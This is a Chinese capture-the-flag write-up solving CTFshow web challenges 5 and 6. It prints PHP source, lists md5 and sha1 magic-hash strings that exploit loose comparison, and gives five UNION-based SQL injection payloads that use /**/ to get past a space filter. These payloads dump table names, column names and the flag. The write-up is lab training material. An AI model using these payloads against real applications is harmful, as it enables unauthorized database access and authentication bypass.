文章目录



一、web05

CTFshow-web(5-6)_字段

源码分析

<?php
error_reporting(0);

?>
<html lang="zh-CN">

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
<title>ctf.show_web5</title>
</head>
<body>
<center>
<h2>ctf.show_web5</h2>
<hr>
<h3>
</center>
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{

echo "where is flag?";
}
?>

</body>
</html>

if(md5($v1)==md5($v2)){
echo $flag;

对代码进行解读,可以看到 v 1 为 字 符 形 式 , v1为字符形式, v1为字符形式,v2为数字形式,并且二者的值必须相等

在这里涉及到了一个知识:MD5 compare漏洞看一下这是什么

  • PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

参考常见的payload有

0x01 md5(str)
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
sha1(str)
sha1('aaroZmOk')
sha1('aaK1STfY')
sha1('aaO8zKZF')
sha1('aa3OFF9m')

0x02 md5(md5(str)."SALT")
2

构造本题的payload: ​​?v1=QNKCDZO&v2=240610708​

CTFshow-web(5-6)_html_02

二、web06

CTFshow-web(5-6)_源码分析_03

是不是很相似呢,是的!本题与第二关是相同的类型,考察的都是POST注入 只不过在本关存在过滤CTFshow-web(5-6)_web_04

经过测试发现该关是将空格符号过滤掉了????????在本关可以使用​​/**/对空格进行代替​

其他均与第二关相似

payload:

1、1'/**/or/**/1=1/**/union/**/select/**/1,2,3#
2、1'or/**/1=1/**/union/**/select/**/1,database(),3#
3、1'/**/or/**/1=1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#
4、1'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#
5、1'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#

回显

CTFshow-web(5-6)_web_05

表名

CTFshow-web(5-6)_php_06

列名

CTFshow-web(5-6)_web_07

字段

CTFshow-web(5-6)_源码分析_08

字段内容

CTFshow-web(5-6)_源码分析_09